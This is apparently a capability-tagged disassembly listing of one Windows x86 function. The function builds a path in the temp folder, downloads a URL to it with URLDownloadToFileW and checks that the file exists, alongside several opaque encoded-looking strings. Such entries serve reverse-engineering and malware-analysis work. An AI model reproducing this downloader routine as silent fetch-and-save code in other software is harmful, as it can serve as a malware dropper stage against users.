Function at 0x72f4d8
Capabilities:
Check if file exists
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x7b341d
mov eax, dword fs:[0]
push eax
mov eax, 0x26df4
call fcn.006e6170
mov eax, dword [0x8cf144]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x26e00], edi
mov dword [ebp - 4], 1
call fcn.006ef893
mov esi, 0x208
lea eax, [ebp - 0x5cc]
push esi
push edi
push eax
call fcn.007512b0
push esi
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.007512b0
push esi
lea eax, [ebp - 0x954]
push edi
push eax
call fcn.007512b0
add esp, 0x24
call fcn.006f066f
lea eax, [ebp - 0x954]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x954]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
call fcn.006f193b
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x5cc]
push eax
call fcn.00761577
cmp dword [ebp + 0x38], 8
lea eax, [ebp + 0x24]
cmovae eax, dword [ebp + 0x24]
push eax
lea eax, [ebp - 0x5cc]
push eax
call fcn.00761506
lea eax, [ebp - 0x5cc]
push eax
call fcn.0073a0b2
xor eax, eax
mov dword [ebp - 0x970], 7
add esp, 0x14
mov dword [ebp - 0x974], edi
mov word [ebp - 0x984], ax
cmp word [ebp - 0x218], ax
jne 0x72f5e5
mov eax, edi
jmp 0x72f5f2
lea eax, [ebp - 0x218]
push eax
call fcn.00761599
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x984]
call fcn.00402820
mov byte [ebp - 4], 2
call fcn.006f33ee
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x24]
push eax
lea ecx, [ebp - 0x984]
call fcn.004045a0
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x9b4]
push eax
call fcn.00738b43
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x72f63a
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xfcc]
push eax
call fcn.00761d20
pop ecx
pop ecx
push edi
push 1
lea ecx, [ebp - 0x9b4]
call fcn.006eb1be
xor eax, eax
mov dword [ebp - 0x988], 7
mov dword [ebp - 0x98c], edi
mov word [ebp - 0x99c], ax
cmp word [ebp - 0x218], ax
jne 0x72f67d
mov eax, edi
jmp 0x72f68a
lea eax, [ebp - 0x218]
push eax
call fcn.00761599
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x99c]
call fcn.00402820
lea eax, [ebp - 0x99c]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x9b4]
push eax
call fcn.00738b43
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x72f6be
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xdcc]
push eax
call fcn.00761d20
pop ecx
pop ecx
push edi
push 1
lea ecx, [ebp - 0x9b4]
call fcn.006eb1be
push edi
push 1
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], 2
call fcn.00402760
lea ecx, [ebp - 0x26dfc]
call fcn.00747837
mov byte [ebp - 4], 4
call fcn.006f2518
sub esp, 0x300
lea esi, [ebp - 0xfcc]
mov edi, esp
mov ecx, 0xc0
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x26dfc]
call fcn.007479e6
lea ecx, [ebp - 0x26dfc]
call fcn.00748d18
xor esi, esi
mov dword [ebp - 0x990], esi
mov dword [ebp - 0x98c], esi
mov dword [ebp - 0x988], esi
push 0x5f
pop ecx
mov esi, str.66ZUm1ggK249H6XQJOPaEKRPOSpM8efBuOONsYK1v0J9QUmm4Uw3hMopwtUzowL508SydidO3nGF8pPDE3by3wVEIOkPG8OV7N717QHh7ixOhmkWbXzT90Dq2LzQN4GeW4vRMHASQEDJCSVec3biX9mE3jQdHbjvYtsNDjHLesWTTUsNSmhzNE6x5Fa4y4Zd7vofCZYTSAKmICUSDWtW7P9oAMQFT0XIqP0JDQLaLNXfLr5KbD4lxLLD6yeu239ZGNGdRBJMcGc13qbtivd2UlHDpwf6AEFn3ug8oGESrmddmpQO1C1XshTFcoTHpY4FsSN96UuEVY4kkR9A9U27LY51NIMjbVcqmFV072VarcV0zBM1GGDBLaEL2kj3
mov byte [ebp - 4], 5
lea edi, [ebp - 0x74c]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x96c]
movsb byte es:[edi], byte [esi]
call fcn.00405a00
lea eax, [ebp - 0x96c]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x990]
call fcn.00407ea0
xor edi, edi
mov byte [ebp - 4], 5
push edi
push 1
lea ecx, [ebp - 0x96c]
call fcn.006eb1be
lea ecx, [ebp - 0xccc]
call fcn.00524080
call fcn.006ebbb2
lea ecx, [ebp - 0x26dfc]
call fcn.0074876b
test eax, eax
je 0x72f842
call fcn.006f3f56
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x26dfc]
call fcn.00748032
mov dword [ebp - 0x960], edi
mov dword [ebp - 0x95c], edi
mov dword [ebp - 0x958], edi
push 0x35
pop ecx
mov esi, str.kAPLwggDfl5OSiCtOouPvQX6t3595ZnjA2MtJpk4X2iQ6LqWJsTHm4835JmzhtUm0Ax1qgINbYASuocctSwbhSdOC6G2B4MclIcwYHNQ6X6TzET4ViEDBYv1LcUe0QQRyqUr7bW0aH8rPHQ90FFiWD4hSAUo8B8rHeOQQGEOY7NM1hzPubcfEBuS2QJK8nbHaV9wcQK3p30qMKkXoWQak
mov byte [ebp - 4], 7
lea edi, [ebp - 0x3c4]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x9b4]
movsw word es:[edi], word [esi]
call fcn.00405a00
lea eax, [ebp - 0x9b4]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x960]
call fcn.00407ea0
xor edi, edi
lea ecx, [ebp - 0x9b4]
push edi
push 1
call fcn.006eb1be
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 5
call fcn.006eb210
lea ecx, [ebp - 0x26dfc]
call fcn.00748789
test eax, eax
je 0x72f79c
call fcn.00402330
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x26dfc]
call fcn.00748032
movsd xmm0, qword [ebp - 0x9bc]
movsd qword [ebp - 0x95c], xmm0
call fcn.006ed977
call fcn.00402330
movsd xmm1, qword [ebp - 0x9c4]
movsd xmm0, qword [ebp - 0x95c]
ucomisd xmm0, xmm1
lahf
test ah, 0x44
jp 0x72f8b8
ucomisd xmm0, qword [0x830f68]
lahf
test ah, 0x44
jnp 0x72f8db
call fcn.006f00f7
jmp 0x72f94c
ucomisd xmm0, qword [0x830f68]
lahf
test ah, 0x44
jnp 0x72f8db
ucomisd xmm1, qword [0x830f70]
lahf
test ah, 0x44
jp 0x72f8db
call fcn.00402330
jmp 0x72f94c
lea ecx, [ebp - 0x960]
call fcn.00402520
cmp dword [ebp + 0x20], 8
lea ecx, [ebp - 0x218]
lea eax, [ebp + 0xc]
mov byte [ebp - 4], 9
cmovae eax, dword [ebp + 0xc]
push ecx
push eax
lea ecx, [ebp - 0x960]
call fcn.00402600
lea ecx, [ebp - 0x960]
movzx esi, al
mov byte [ebp - 4], 5
call fcn.004025f0
test esi, esi
jne 0x72f94c
call fcn.00402330
cmp dword [ebp - 0x970], 8
lea ecx, [ebp - 0x984]
push edi
cmovae ecx, dword [ebp - 0x984]
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
push edi
cmovae eax, dword [ebp + 0xc]
push ecx
push eax
push edi
call sub.urlmon.dll_URLDownloadToFileW
mov dword [ebp - 0x960], edi
mov dword [ebp - 0x95c], edi
mov dword [ebp - 0x958], edi
push 0x34
pop ecx
mov esi, str.3RLgYEg5frMS9dUv9H7ND9d4jq69g0vhWnNhvVHQbawlDTmC3S2pl8kK9oeEezcFxxqwLigAQUiVkTjlIgLJ8u9qiIWPq16uKh1h1ybcGYdEBg2tIJz56PAP1swKKeDkLh1EcZMIOSDKrFSwbr98nb58ix4rhPMnHaqnht9YtYhE72coJDmStkka6XeeK9nBmGxvIOkLFuKOtSnI
mov byte [ebp - 4], 0xa
lea edi, [ebp - 0x2ec]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2ec]
push eax
lea ecx, [ebp - 0x9b4]
movsb byte es:[edi], byte [esi]
call fcn.00405a00
lea eax, [ebp - 0x9b4]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x960]
call fcn.00407ea0
xor esi, esi
mov byte [ebp - 4], 0xa
xor edi, edi
lea ecx, [ebp - 0x9b4]
push esi
inc edi
push edi
call fcn.006eb1be
cmp dword [ebp - 0x970], 8
lea eax, [ebp - 0x984]
cmovae eax, dword [ebp - 0x984]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, ebx
test eax, eax
jne 0x72f9de
push 0x8b5798
call fcn.004026c0
jmp 0x72f9ea
lea eax, [ebp - 0x984]
push eax
call fcn.00404840
lea ecx, [ebp - 0x960]
call fcn.006eb210
lea ecx, [ebp - 0x990]
call fcn.006eb210
lea ecx, [ebp - 0x26dfc]
call fcn.00402330
push esi
push edi
lea ecx, [ebp - 0x984]
call fcn.00402760
push esi
push edi
lea ecx, [ebp + 0xc]
call fcn.00402760
push esi
push edi
lea ecx, [ebp + 0x24]
call fcn.00402760
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.006e615c
mov esp, ebp
pop ebp
ret 0x34